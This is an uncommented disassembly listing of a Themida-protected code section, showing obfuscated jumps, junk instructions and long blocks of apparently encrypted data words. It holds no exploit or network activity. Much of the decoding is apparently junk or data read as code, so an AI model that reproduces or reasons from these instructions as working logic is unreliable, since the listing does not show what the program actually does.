		mov	edi, 0AD58DF9Ch
		dec	ebp
		jmp	short loc_5B85E7
; ---------------------------------------------------------------------------
		db 18h
		dd 0AEF3A229h, 354CAC48h, 583351DAh, 0B43060A1h, 5305D971h
		dd 0E24DDA79h
; ---------------------------------------------------------------------------
		push	esi
		cmp	ecx, [ebx]


loc_5B85E7:				; CODE XREF: Themida_:005B85C9j
		mov	ecx, [eax]
		push	0F3379462h
		sub	eax, 152BF154h
		rep mov	esi, [eax+2DD5ABFBh]
		push	esi
		fsubr	qword ptr [edi+75h]
		db	64h
		inc	edi
		cmp	eax, 49196666h
		add	eax, 95583743h
		adc	edx, [eax]
		xor	eax, 0FB609246h
		sti
		xor	al, 83h
		in	al, dx
		mov	al, ds:0EB6062BCh
		loope	loc_5B8636
		lahf
		ror	dword ptr [eax], 1
		jle	short loc_5B8623
		add	ah, dh


loc_5B8623:				; CODE XREF: Themida_:005B861Fj
		mov	eax, 3DBA858Fh
; ---------------------------------------------------------------------------
		db 3Bh
; ---------------------------------------------------------------------------


loc_5B8629:				; CODE XREF: Themida_:005B85AEj
		call	sub_5B8638
		jmp	short loc_5B8694
; ---------------------------------------------------------------------------
		dd 5AA5486Dh
; ---------------------------------------------------------------------------
		jb	short loc_5B864E


loc_5B8636:				; CODE XREF: Themida_:005B861Aj
		scasd
; ---------------------------------------------------------------------------
		db 69h

; =============== S U B	R O U T	I N E =======================================



sub_5B8638	proc near		; CODE XREF: Themida_:loc_5B8629p
		mov	al, 42h
		pop	esi
		mov	ebx, edi
		add	esi, 66F8h
		jle	loc_5B8657
		jmp	loc_5B8657
; ---------------------------------------------------------------------------


loc_5B864E:				; CODE XREF: Themida_:005B8634j
		cmp	ch, ch
		test	[eax-42h], edx
		jno	short near ptr loc_5B8677+1
		db	36h
		push	cs


loc_5B8657:				; CODE XREF: sub_5B8638+Bj
					; sub_5B8638+11j
		push	0
		mov	dx, 8941h
		pop	ecx
		mov	[ebp+60E3309h],	eax
		push	dword ptr [ecx+esi]
		pop	edi
		mov	bx, di
		add	edi, 26D5F8C3h
		movsx	eax, bx


loc_5B8677:				; CODE XREF: sub_5B8638+1Bj
		sub	edi, 205CCD6Fh
		mov	bh, dh
		xor	edi, 5D557452h
		push	eax
		mov	bx, 3F5Bh
		pop	eax
		mov	[esi+ecx], edi
		clc
		sub	bx, 5747h


loc_5B8694:				; CODE XREF: Themida_:005B862Ej
		sub	ecx, 5E48CD30h
		call	near ptr loc_5B86AE+1 ;	CODE XREF: sub_5B8638+6Bj
		dec	ebx
		mov	al, 3Bh
		pop	ebp
		jg	short near ptr loc_5B869A+1
		cmp	[edi+7Bh], bh
		mov	ah, [esi-73DB0B64h]


loc_5B86AE:				; CODE XREF: sub_5B8638:loc_5B869Ap
		xor	al, 66h
sub_5B8638	endp ; sp-analysis failed

		mov	edx, 815BFC16h
		shr	dword ptr ds:880F5E48h[ecx*8], 0Ch
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 68B0Fh, 0E3810000h, 18480680h, 99B4F981h, 850FFFFFh
		dd 0FFFFFF8Fh, 8C5958Bh, 10E8060Eh, 29000000h, 0CA151033h
		dd 7A47DBD7h, 0AF522E0h, 606FD6C1h, 89CB8B66h, 0E307D95h
		dd 8B586106h, 10C081DEh, 0E8000067h, 0Ch, 0B3A777F9h, 0D0225D24h
		dd 3A1D4784h, 0FF59D09h, 0BF5B060Eh, 6C2DBEA1h,	0A511EF81h
		dd 85896C2Dh, 60E0B09h,	0BE9308Bh, 11000000h, 8575461Eh
		dd 0A8383968h, 0EE8135EDh, 642BFBFDh, 1DAD9D89h, 0EE81060Eh
		dd 4677B9A9h, 0A01B589h, 0EE81060Eh, 3C947AEEh,	2D819531h
		dd 3089060Eh, 1B399529h, 0E883060Eh, 0EDC4B904h, 0F4F14ADh
		dd 1E85h, 6860F00h, 29000000h, 0E0421B5h, 29E906h, 26DA0000h
		dd 542166FEh, 0ACF1CF55h, 0F14AEA7h, 8DE9C9BFh,	3DFFFFFFh
		dd 62CFF00Eh, 0A6A68401h, 6E406420h, 8E04F380h,	0E828FB8Fh
		dd 9, 22EE3478h, 0A722AA43h, 0D8589F4h,	59060E0Eh, 0DE9h
		dd 0C22AD000h, 0F81865A9h, 254CBCCAh, 0C1819F24h, 729Bh
		dd 6870Fh, 8D890000h, 60E0E0Dh,	68h, 0F3816600h, 0E95F2C1Ah
		dd 0Ch,	90513943h, 628975F2h, 6A5C556Bh, 8B39348Bh, 0E30E59Dh
		dd 0FEEE8106h, 96444DEh, 0E3189BDh, 0A3F68106h,	0E83907D0h
		dd 0Bh,	14BEFDC2h, 0DAC65C11h, 57A5D704h, 2E6D8531h, 5A5A060Eh
		dd 89CBF681h, 860F30A9h, 3, 89D88B66h, 0BD893934h, 60E1AD5h
		dd 83D1BF0Fh, 8D0F04EFh, 6, 2925B589h, 0FF81060Eh, 0FFFF8E4Ch
		dd 18850Fh, 0F6800000h,	29E90Ah, 0FD100000h, 881287F4h
		dd 4FF843B8h, 0D47C1A2Ch, 0D78B9750h, 0FFFF77E9h, 563A32FFh
		dd 872AAFC3h, 926D7638h, 25D80ED5h, 42EF8438h, 6A234ACh
		dd 7AA27C24h, 0F3BB37Dh, 21803E2Ah, 9083B42Ah, 0C46F3025h
		dd 0A7863025h, 1CB6E598h, 8D893023h, 8486305Ah,	5EFB8DA6h
		dd 2E86362Bh, 908642A1h, 5903F625h, 6A803E0Ah, 0F254ED4Dh
		dd 2D82B1BDh, 8BE43446h, 725385DAh, 0A40B362Bh,	96975F51h
		dd 0B80DE0DAh, 0B97B5E3h, 7AC8362Bh, 855F2BD7h,	36A204A4h
		dd 0BDA2ABE9h, 2F9A4D90h, 0E403BD23h, 0B780214Ah, 9D7EBBF5h
		dd 12863035h, 98638CCh,	1899625h, 4286302Bh, 2E4F3B6Ch
		dd 6F79C0A0h, 488BD9DAh, 0B90B3025h, 14887DF4h,	986359Dh
		dd 965CF25h, 56749B98h,	480BBD23h, 288024D6h, 0CEB61537h
		dd 4247FF0Eh, 6A234ACh,	7AA27C24h, 0F3BB37Dh, 21803E2Ah
		dd 9083B42Ah, 0C46F3025h, 0A7863025h, 5E98398h,	22B9A4F3h
		dd 0E8000000h, 7, 99A73D8Eh, 8BF503CAh,	0E1BA985h, 858B5E06h
		dd 60E22D1h, 7340C681h,	0BD890000h, 60E0F69h, 68h, 13E800h
		dd 97650000h, 67A41C37h, 0BA6760CEh, 1D5FA5E7h,	967BEB82h
		dd 7E989h, 0B5140000h, 6F028764h, 0B85A59FBh, 2E717FF0h
		dd 80163C8Bh, 0C781F0C5h, 6B894406h, 1EFEBB66h,	52D9EF81h
		dd 8D8B0B73h, 60E2A7Dh,	587CEF81h, 0B70F3DADh, 163C89C1h
		dd 1F458D89h, 12E9060Eh, 0F8000000h, 0ECA413A9h, 7910C7D3h
		dd 0E0D2A969h, 383034CAh, 3EA8369h, 31CD8529h, 8B4A060Eh
		dd 0E1CED8Dh, 70FA8106h, 0FFFFF8Dh, 0FFFF9F85h,	0FDE480FFh
		dd 8E8h, 70B66C00h, 16A764D5h, 59DE8BCFh, 92D9D8Bh, 0C181060Eh
		dd 5E81h, 1631BD8Bh, 0C033060Eh, 30C1BD31h, 34FF060Eh
		dd 159D0308h, 5E060E09h, 2479BD89h, 0C681060Eh,	80ABD6Ch
		dd 12E9h, 0D107B00h, 3CDD0F97h,	904D70DEh, 7D4D371Eh, 81A7C15Dh
		dd 6658A5F6h, 0A595094Fh, 81060E34h, 34BEB6F6h,	2D15BA58h
		dd 2956562Ch, 0E2321BDh, 1048F06h, 81F9B70Fh, 629DC4E8h
		dd 7D8D013Bh, 81060E2Ah, 629DC0C0h, 40F8813Bh, 0FFFFFA2h
		dd 1B85h, 0D68B6000h, 2955B589h, 0E961060Eh, 22h, 0B1104F0Ch
		dd 0FDC75646h, 9A87AC51h, 1FCDB589h, 6BE9060Eh,	9FFFFFFFh
		dd 4AB9BB5Dh, 4668FC15h, 8D8D17AFh, 614F603h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FAC35343h, 7692347Ch
		dd 59D8960h, 0F9060E34h, 0C58D8961h, 6A060E2Fh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 25F4C357h, 0A429F21Ch, 12E8h, 9B1B3900h, 962158B3h
		dd 0EFBBBB27h, 0F0F7C5CBh, 8B255CDEh, 0E1BF1BDh, 0CE815A06h
		dd 275C8086h, 88185C7h,	6760060Eh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0BA0FFEC3h
		dd 0A24D1AFFh, 0C785F3AFh, 0E28D985h, 6, 81852300h, 0FF060E0Eh
		dd 0E183DB5h, 0B52B6006h, 60E2549h, 81858Bh, 0FF61060Eh
		dd 0E09B995h, 12E906h, 78760000h, 864B7156h, 5BD5A1E7h
		dd 0FB66681Ch, 0D787DFB1h, 95FF006Ah, 60E0F45h,	2FEBC08Bh
		dd 85E7DA3Bh, 95CA4382h, 243FCA0Dh, 0C5EC7629h,	79B36AC2h
		dd 0D17227Ah, 71F845C4h, 771DA55h, 0CF3457DBh, 244F6066h
		dd 517CEDB9h, 0E9BB397Dh, 22h, 1A9BF02Eh, 7 dup(0)
		dd 0C7E90000h, 19000008h, 0F8935722h, 0DC773BFCh, 0BF5A1EE1h
		dd 0A13C00C5h, 0F11CE0A9h, 511A1273h, 32F9F28Dh, 18D5D36Eh
		dd 0FDBCB954h, 6122ED39h, 5D7D4626h, 9483319Ah,	5B69B070h
		dd 6E2B29C8h, 9E817E19h, 0BC2DEA5h, 2B0DCC90h, 59F8C796h
		dd 0C57C9861h, 0DCDDB370h, 0E8636177h, 0CF9F1CCh, 6E2D2A11h
		dd 61F7D7F3h, 37926DF4h, 0DD14CC7h, 0E7B67572h,	6D694A48h
		dd 5E1531ACh, 1916F109h, 0D3E78B5Ah, 2093DF41h,	805B73C8h
		dd 6BAE6F84h, 0E7A2982Fh, 0FAD5F16Ch, 6C223EFDh, 612299EAh
		dd 0A2982F26h, 0EBA41F9Ah, 0D8D51C6Dh, 0BA7B4A19h, 0A2982F5Fh
		dd 632378F3h, 4AD16E1h,	8110B6h, 0B6A20000h, 0CED9F5BEh
		dd 70D5642Ah, 2CC843BCh, 52213826h, 0EB86DB56h,	190E2AF3h
		dd 2FD34A9Bh, 0A021F715h, 0E580D59Ah, 0DE6024EDh, 0AFF62F19h
		dd 4E0Dh, 0AAA34200h, 345314E3h, 8C5B69A1h, 864EBC11h
		dd 0E027E8B7h, 605B69B0h, 0B0E524E5h, 0E25D5B69h, 31FAF28Dh
		dd 0B0F41815h, 827C5B69h, 0CDC6A1BDh, 9254EA06h, 37F51E41h
		dd 0DEA79FE6h, 0B4B04F1Ah, 16494FF3h, 4CBA1755h, 51ADF7h
		dd 863B0000h, 9D03E9E7h, 0DB4AA9D1h, 31E8047Fh,	804941DCh
		dd 0C3DB0DB1h, 381203E7h, 49CECBE3h, 565B6921h,	450CE387h
		dd 0B6998118h, 0A8E326E7h, 0E45F5B69h, 49C0118Fh, 95EAB1AAh
		dd 24E502FAh, 5B69A8E5h, 71916580h, 541B9BE6h, 79F4BDB5h
		dd 92CC3AFEh, 8B4C1BA6h, 6177C4A5h, 7211E05Bh, 0DE95B17Ah
		dd 9B967189h, 7E7914D8h, 98A09FBBh, 0CA8B5A29h,	0A2985B4Fh
		dd 0A86F2E2Bh, 2F4B0E09h, 0DDA8FD78h, 8658FC1Ch, 0BDD95498h
		dd 0B52A361h, 0BE894D10h, 58EB2EEFh, 9867A88Ah,	8A58B0D7h
		dd 1A9510A8h, 6C2F2AC5h, 0ACA64550h, 58B7D293h,	900BA88Ah
		dd 0ED42F915h, 8A589930h, 0C11290A8h, 0F8BC7F7Ah, 0C6A7928Ah
		dd 0B0D336F7h, 0F46F5B69h, 69B0D433h, 71C86C5Bh, 2D237D54h
		dd 9362DD58h, 1B37F8F4h, 9C8C564h, 8B3946B4h, 88FAB9B6h
		dd 38CF2391h, 0EEB2F640h, 2Bh, 1AA79280h, 42C586A8h, 0FE5B69B0h
		db 83h
dword_5B8EA1	dd 0B6148611h		; DATA XREF: Themida_:0054D6B5r
					; Themida_:005A2C0Dr
		db 0BBh, 0D4h, 0D9h
		dd 0C843FA16h, 0F6B78656h, 5B69B093h, 0FE5FB42Fh, 340750h
		dd 86950000h, 0B093F6B7h, 0B42F5B69h, 2899A05Fh, 42C586B6h
		dd 0FB5B69B0h, 21E2B180h, 5B69B0E6h, 1C8ADF5Ah,	0B7861486h
		dd 69B093F6h, 5FB42F5Bh, 9406C9C4h, 0B9B642F0h,	8E8C2BFAh
		dd 67647CD1h, 5B6E31B2h, 458CDD9Fh, 0FAC58948h,	0CE2F6A2Bh
		dd 28A3A492h, 534038D3h, 0C1789459h, 801F2A46h,	0D06BC087h
		dd 0FEF30FD8h, 19B82F80h, 7B3E391Ch, 112DA85Fh,	726A055Ah
		dd 4A0BDAA9h, 0A492CECFh, 0F3B30883h, 0FACE8671h, 8EFDA1AFh
		dd 0BAFB9AA6h, 0D6939130h, 0E2AE03BAh, 30h, 0BCE28674h
		dd 7E0C8EDh, 2825C015h,	0EA4E4D69h, 636408D7h, 78F56F4Ah
		dd 490AD52Ah, 61773227h, 0AC425ED9h, 555299EAh,	6807D296h
		dd 0E452A770h, 0DEFAB9B6h, 996859DFh, 0E73CFFFAh, 0CB295B1Ch
		dd 2CA76177h, 11D0CD68h, 0FFF2F8F5h, 0BD7F262Dh, 6928256Ch
		dd 1BFEFB9Ah, 8FE45F1Eh, 783734CFh, 0E6DB5D5Ch,	0B8794817h
		dd 2E16CB51h, 642176F1h, 1408C5BCh, 77E5A924h, 4B1AA792h
		dd 96EBB4ACh, 868B3928h, 0C28EDE7h, 68650055h, 0C69137A9h
		dd 0D4DDC822h, 277C5347h, 4038CFB9h, 20EFB2F6h,	69B0385Fh
		dd 8C998A6h, 0A669B081h, 0F64BC641h, 4F2Ah, 4BBB5F00h
		dd 0CD295747h, 929B095Eh, 86A81AA7h, 69B042C5h,	0B483FE5Bh
		dd 0B0E524E5h, 0E25D5B69h, 0B7861F8Dh, 36341F18h, 2BE2FE79h
		dd 0BBB668D6h, 995A29F8h, 5B69B07Eh, 723902FAh,	0F034A2F7h
		dd 540742h, 94380000h, 0C802B74h, 7EEC41C2h, 0A81AA792h
		dd 0B042C586h, 80FB5B69h, 0E621E2B1h, 5A5B69B0h, 0E3FFBEBBh
		dd 0EE5CB12Ch, 0E7861486h, 530A26EFh, 0D8F4BBB4h, 3631CC21h
		dd 14D5A473h, 5B69B0F5h, 5ABD7E4Dh, 0F65B69B0h,	7031007Bh
		dd 5B69B029h, 6BD92EA9h, 0B9B642F0h, 0B0A2E5A6h, 0A31E5B69h
		dd 0B0F413D4h, 0D14C5B69h, 0F0E88756h, 0AFBAD227h, 0FB501710h
		dd 6E31493Eh, 0C867765Bh, 37B50ACDh, 0BFA29FE6h, 0B483FEC7h
		dd 0FF541D15h, 0E3ACA43Fh, 0B57C7514h, 0CFE225E6h, 0E35EA492h
		dd 0A39B768Eh, 4BC9BEDAh, 0CEBBB3FAh, 3CF30FD4h, 0C6E29F9Dh
		dd 4ED0940Fh, 0AFFACCA9h, 2965DA7Eh, 5A172571h,	253905h
		dd 0CF6E0000h, 4DBB10D5h, 30D1B9B6h, 58403C06h,	0DFDEFA75h
		dd 0D8996859h, 61776764h, 37CDE964h, 0E0DD2475h, 0B6EF5D21h
		dd 0D3DEFAB9h, 5A533834h, 0F1FC1893h, 69B0E930h, 73EE695Bh
		dd 0E8D95F1Eh, 0DC805819h, 0C5406177h, 0A7929301h, 0B08205C6h
		dd 0C33E5B69h, 0E0DA7948h, 0A948FF1Bh, 1AD1EDACh, 0B78657C5h
		dd 69B093F6h, 61A0525Bh, 6AE035ACh, 0BBD328A3h,	0EDE7860Dh
		dd 71985928h, 0D15B69B0h, 69660156h, 239138AAh,	0F64038CFh
		dd 3DEEB2h, 92800000h, 86A81AA7h, 5D1A18B7h, 0B0CC4B08h
		dd 0DD7C5B69h, 49001CE5h, 44B631F4h, 0FA13B786h, 58B061Ah
		dd 0A95FE97h, 33AE4979h, 0BBB670DEh, 928A29F8h,	0F00674C9h
		dd 200742h, 92950000h, 86A81AA7h, 69B042C5h, 0E80FB5Bh
		dd 0B7861486h, 69B093F6h, 5FB42F5Bh, 9406C9C4h,	0B9B642F0h
		dd 9C17DCD6h, 31968380h, 0F9BB5B6Eh, 0A56461A8h, 8A4946E1h
		dd 0F594636Eh, 631A36FBh, 92CE67A2h, 430A03A4h,	2EA97027h
		dd 0A31E1AD9h, 0C54405D4h, 7DA492CEh, 0A4696302h, 0A9C3844Fh
		dd 579E8CADh, 0A1BFEB3h, 6FEAD9B5h, 0E7863DABh,	310C28EDh
		dd 0A4F97435h, 0FB6D54E5h, 9E5F2E39h, 5B69B07Bh, 0C60BBAFAh
		dd 7940470Bh, 2B6E2FFEh, 0A75B6976h, 0B669D72Ch, 0A2E5A6B9h
		dd 1E5B69B0h, 91B628A3h, 4038CF23h, 47EEB2F6h, 23000000h
		dd 0A7C38C84h, 396021F0h, 99A669B0h, 925BC91Eh,	86A81AA7h
		dd 69B042C5h, 1A5AFE5Bh, 69D42674h, 861C8E09h, 0F8BBB614h
		dd 18B78686h, 7198591Eh, 0D15B69B0h, 0F7723932h, 973641A2h
		dd 1886DB9Ah, 3B07h, 0A7929500h, 0B786A81Ah, 0B0E027E8h
		dd 0E5605B69h, 0B0B4D390h, 8E095B69h, 8614861Ch, 657113B7h
		dd 0AB6B767Dh, 695AAFEAh, 53A8235Bh, 2BFABDB8h,	79CE918Ch
		dd 46E5F00Bh, 0C8368B48h, 0DEFAB9B6h, 6E3134E1h, 657195Bh
		dd 726BEB8Fh, 0C118E077h, 92289900h, 43BE39A4h,	435653EEh
		dd 92280782h, 0C540BBA4h, 965F57F6h, 2C24C37Ah,	0B34E0E63h
		dd 0DCDBF7B6h, 0D596655Ch, 9E8C4DCFh, 4CBA7EF9h, 0F7C6A792h
		dd 69B0D336h, 33F46F5Bh, 5B69B0D4h, 0FD69994h, 0AB4A1994h
		dd 2795EAB3h, 0B9B68B39h, 0FC18DBD6h, 9158CA45h, 4038CF23h
		dd 31EEB2F6h, 80000000h, 0A81AA792h, 0B042C586h, 57F65B69h
		dd 0C67D995Ch, 4F6B2A27h, 5804398h, 86148693h, 422B36E2h
		dd 0BB1055DBh, 0F0622520h, 390742F0h, 95000000h, 97F1A792h
		dd 287BA381h, 86C335B0h, 69B042C5h, 5E57F65Bh, 17C4297h
		dd 0D7E2868Fh, 0A7DE39Ch, 20925DB2h, 29F8BBB6h,	0B0CC8F8Ah
		dd 0B0BFA4D0h, 0E762A72Dh, 42F02492h, 0DEFAB9B6h, 996859DFh
		dd 6E2F2BCAh, 89469B52h, 6177BEBBh, 7736FA75h, 703100C1h
		dd 988F5771h, 15D6D271h, 0A6A37E9Ah, 8B8823E7h,	0D5B3B0CCh
		dd 0D8842445h, 817EC516h, 864FF3C2h, 1EAD92D8h,	375213E2h
		dd 8B8C242Eh, 60FBBB10h, 31D5A463h, 0F5FD70F1h,	8E8B2A4Dh
		dd 0A7FCB3CFh, 0F5BAB48Fh, 0C98C8726h, 5C57F6ADh, 0D02C4499h
		dd 7D7AC112h, 625FFABEh, 3FD87A3h, 8B000000h, 0BFB68133h
		dd 0FDD8F4h, 4C4A2541h,	9F98738Fh, 0E9E1BCD8h, 31290420h
		dd 77714C68h, 0C0BB96B2h, 0A06E1FDh, 50692D49h,	405E089h
		dd 83000000h, 48704E8h,	24248B24h, 2ED268h, 241C8900h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 50242C89h, 0CE5611B8h
		dd 0A052BB05h, 0EB810046h, 4253775Eh, 0C381C301h, 4253775Eh
		dd 24E06858h, 24890000h, 24048324h, 0B8505D04h,	8, 0B951E801h
		dd 0
; ---------------------------------------------------------------------------
		add	ecx, eax
		mov	[ecx], ebx
		pop	ecx
		pop	eax
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		inc	edx
		inc	ebp
		push	ss
		popf
		add	al, 0
		mov	ax, 0FE97h
		adc	al, 6
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 88h
		dd 54FEE00h, 9C5E63D4h,	1D2C12B4h, 0B10AEB90h, 0A9526FC1h
		dd 4A2E2205h, 657E97DEh, 0BB71B1B2h, 0E13B30F3h, 4A4BD36Bh
		dd 0AD4EA776h, 7738097Ah, 7B5DD957h, 4260BD45h,	420C7F88h
		dd 8355E1FDh, 62349B3Ch, 0AD34CA80h, 0DF4B39B2h, 634A8EFFh
		dd 1D6CBD15h, 0FE57359Fh, 937DA58Eh, 0C11F0BE0h, 3D24B6D3h
		dd 302F7EE1h, 4B38DFE0h, 574A0282h, 2433AD6Dh, 0E97BABFAh
		dd 2Ch,	5385E14Ah, 0Ah dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B9B1A
; ---------------------------------------------------------------------------
		db 97h,	0A0h, 0D5h
		dd 0B97A7611h, 9C5F5AF5h, 7E433DD8h, 5E271FBAh,	90F56F9Ah
		dd 700BCF98h, 51ECB077h, 37D29653h, 6BB77B3Ah, 4FB8DFA0h
		dd 0AF185D7Dh, 0D1B9B601h, 0F4B586D4h, 5B69B695h, 700EB22Dh
		dd 0E6CB7CCDh, 7DA848D7h, 17723302h, 0AB5B6997h, 8E99B530h
		dd 1733F2EFh, 78700B60h, 0B1CD908Bh, 0F0BB7FFAh, 3D925751h
		dd 17E6A5A2h, 62B78078h, 0B3726F4Ah, 0FFC0BC97h, 3A8B4DE3h
		dd 7337F6F3h, 0FBF9DAD8h, 64FFC33Eh, 0B28DA966h, 0FBD6F2B9h
		dd 48233FFEh, 1376374Ch, 0AF5B6997h, 0C29DB934h, 27E505C6h
		dd 8893B3D6h, 64B153E4h, 0CC05A966h, 2EAC0173h,	0DB9896DDh
		dd 0C07F7C17h, 0C8F599A4h, 0CD32D425h, 0A854843h, 58AD706Bh
		dd 69FC799Bh, 4302FF5Bh, 904F4C27h, 0B0017F74h,	0BE5D688Dh
		dd 2BA9FEC5h, 0CBC463DAh, 0CA2DAF04h, 5CAFF5FFh, 5Bh, 0FAB9B6EEh
		dd 0CE918C2Bh, 27646179h, 415B69B0h, 0F3043283h, 33AFF64Bh
		dd 1, 0F9BAB6C5h, 450602DDh, 8F544E29h,	0CA1BDD73h, 44C38453h
		dd 1F5B69B0h, 637D8571h, 56D198E0h, 0A96A6601h,	6A4D4AE5h
		dd 34AC866Ch, 9B6266B8h, 0D24D0420h, 0D29F430Eh, 2038DE3Ah
		dd 86AA186Dh, 19A60DE2h, 85DADBA5h, 0D29F2EAh, 59753632h
		dd 4E95E664h, 2EC98D56h, 92514E31h, 2520FB17h, 9D5F4662h
		dd 7431D54Ch, 0E34B80C9h, 5EA92B80h, 0C8AFF5E8h, 0A8h
		dd 0F5BEB65Ah, 3EFFCED9h, 5B69B0DBh, 0CA7FC77h,	0E07F4E11h
		dd 4D0420E7h, 884AE0F8h, 7E1CC037h, 1EE08A0Dh, 2D25C015h
		dd 2EC84F10h, 0D885B69h, 3B33CE92h, 0C04A372h, 0CBD6EE43h
		dd 2EDC3BFCh, 0F9745B69h, 0F60F09A4h, 692ED235h, 0D6CF6E5Bh
		dd 4A19940Fh, 96EBB2ABh, 84D5977Eh, 0A19F3E0Dh,	5011C8E4h
		dd 5B692EC9h, 37B90E89h, 0AFF5ABD0h, 0F7C0B857h, 3CF24DBh
		dd 51h,	0F5BEB695h, 1F00FED9h, 17E66124h, 1A730E73h, 91E60FB1h
		dd 0F041C379h, 24E8B1A9h, 0D9BEBA59h, 84A01BDEh, 0D1EDACA9h
		dd 0DC4A9F1Ah, 2AF9BAB6h, 0E029D486h, 4BA0816Bh, 0B0D63633h
		dd 56145B69h, 0F7EF8E05h, 0A057D92Eh, 86AFF64Ch, 1, 0F8BBB618h
		dd 450401DCh, 6E514E29h, 1B37B271h, 0B0C84F10h,	0D885B69h
		dd 92AE756Eh, 92095ADCh, 69B0B6D1h, 148F0A5Bh, 9EE536F4h
		dd 0BFBCA3h, 0E3B22DE4h, 6C884744h, 0E225E6B5h,	5E5B69B0h
		dd 0FCE8EE3h, 8C99829h,	6177B46Ch, 8504C594h, 35A2984Ch
		dd 984C1574h, 6B32ADA2h, 5DD89BF0h, 0AA696641h,	8F4E4BE6h
		dd 4C117673h, 7CFEA298h, 0D4E7E42Bh, 5E7A3735h,	4CA3E6A7h
		dd 0A41FA298h, 0BFBB5A29h, 4EE9A9FEh, 9B769251h, 0CEC3DF9Eh
		dd 0BBB8FF50h, 1A892DFCh, 4C1126E5h, 0AF31F146h, 0B6048148h
		dd 125DEh, 0A6927000h, 1F3BFAF7h, 7F1EED68h, 0ECA3BF86h
		dd 5EFDCC97h, 0CB829E65h, 0E263B976h, 0A21D6177h, 0EFAEAB86h
		dd 0CFB27C20h, 0FD29C8BEh, 504DE8A8h, 9D9A7591h, 4FCDC2DEh
		dd 0FBBAB7FEh, 0A342B537h, 53E4B604h, 19000000h, 2D0E894Ah
		dd 47C2A298h, 0A99284F2h, 0D67A4918h, 7B66935Ah, 2F0CB0ABh
		dd 8D663BE4h, 2E89469Bh, 0E2DB69BCh, 0A1404B67h, 13CAE6A3h
		dd 0BC048344h, 41BCDB69h, 0BCE82FECh, 219FDB69h, 0EBD665D0h
		dd 0BC1C5B1Ch, 15B45B69h, 18DC571Ah, 8DCEh, 0E7865C00h
		dd 540B27EEh, 0D9F5BCB5h, 2A0ECD22h, 2AF9C897h,	69B02E69h
		dd 0D227A25Bh, 77B02715h, 0A26A161h, 0AF73322Fh, 624B45E4h
		dd 0D48BA764h, 6C690459h, 0E78691ADh, 1AD72CE9h, 0A29BB1F8h
		dd 5BD223A5h, 0E2FEC1BCh, 3E3BD62Bh, 3CFCBB7Fh,	46F5B685h
		dd 82988F50h, 1310EB07h, 635D3854h, 4F0E894Ah, 47C2A8B5h
		dd 0DAD5B0CCh, 0B12FFB17h, 51AB1460h, 0DFA8AAB7h, 35864464h
		dd 84536ECAh, 0A28790C3h, 11D55092h, 0ECA9A746h, 0A6922997h
		dd 0D88B4C1Bh, 18617EAFh, 0A9A6819Dh, 0BC5B26EAh, 19E0D9C2h
		dd 0AFCB46FDh, 0B08A3F8h, 8625304Ch, 57B2738Ch,	0EBA282B0h
		dd 0E3A0F570h, 49119461h, 72B90ACCh, 57F2B675h,	0A47F9B5Ah
		dd 0EEC9E5AAh, 0FD1CDDF2h, 55FF33ABh, 68435FDAh, 328EAA6Dh
		dd 0E0002374h, 8B5AD122h, 33AB4FCAh, 338803FFh,	18DC9B98h
		dd 0A5C1807Dh, 31Bh, 8133A900h,	0D8F4BFB6h, 254100FDh
		dd 738F4C4Ah, 0BCD89F98h, 420E9E1h, 4C683129h, 96B27771h
		dd 0E1FDC0BBh, 2D490A06h, 0E2895269h, 4C281h, 0B8500000h
		dd 4, 8758C229h, 535C2414h, 0C381E389h,	4, 4EB81h, 1C870000h
		dd 0C895C24h, 19B26824h, 1C890000h, 69685224h, 5A7EE10Fh
		dd 68h,	24142900h, 0BC2815Ah, 8147CD6Fh, 28A03FC2h, 5AD1893Dh
		dd 241C8B54h, 8304C483h, 0C8904ECh, 242C8124h, 65985543h
		dd 8108438Fh, 55430843h, 34FF6598h, 0C4835B24h,	2434FF04h
		dd 4C48359h, 0F97983E9h
		db 0FFh, 51h
; ---------------------------------------------------------------------------


loc_5B9B1A:				; CODE XREF: Themida_:005B95D8j
		mov	eax, 6150499h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 3Fh
		dd 0EC17DB00h, 0DC237E7Ah, 9D41E5A1h, 427F46D0h, 840260B2h
		dd 2902C13Bh, 967CF46Ch, 5F5C3082h, 4049064h, 3A02E5F2h
		dd 2861C1FFh, 0D0AA58Fh, 9F7094BCh, 0AA19DEDFh,	0E63D4D1Ch
		dd 1B090A11h, 0AE4E3D30h, 80763404h, 335C1F03h,	0D9480F8Ah
		dd 6770902Bh, 0AD77F343h, 124A46A3h, 2643FE32h,	8D0A7B09h
		dd 1505DD8Dh, 0D5858906h, 1060E04h, 0E18C19Dh, 0C58D8906h
		dd 66060E2Fh, 85C7D78Bh, 60E0881h, 5CD0h, 0C7C3BF0Fh, 0E28D985h
		dd 6, 0CD850300h, 0FF060E08h, 0E0801B5h, 95FFFC06h, 60E09B9h
		dd 21AD8589h, 6A060Eh, 0F4595FFh, 0C08B060Eh, 0A14A0EEBh
		dd 0B37DD362h, 3609B3FAh, 0F3F6F8E4h, 11E8h, 1A8E2900h
		dd 139D9F76h, 1BA20158h, 31B021EAh, 0B860FFB5h,	6AE6ABC0h
		dd 34B9B531h, 5861060Eh, 0DF816650h, 815F3669h,	6405C0h
		dd 0E086BF00h, 0E1BA47D3h, 8139FFBDh, 0FFA53AF2h, 7860F39h
		dd 50000000h, 0C6C38166h, 30FF5F92h, 2A298D89h,	0BB59060Eh
		dd 428201CBh, 0B80CF181h, 81660C90h, 81BDF6D3h,	5304D9F1h
		dd 0A5EB8059h, 2E0AC181h, 0B58B2F6Bh, 60E22ADh,	8FF88B51h
		dd 0E8816000h, 4A88E443h, 18C0Fh, 61F90000h, 8B04E883h
		dd 850F4AF2h, 0FFFFFFB2h, 31B98589h, 8D8D060Eh,	6150720h
		dd 65BD8B51h, 5F060E19h, 2FC58D89h, 8D89060Eh, 60E2275h
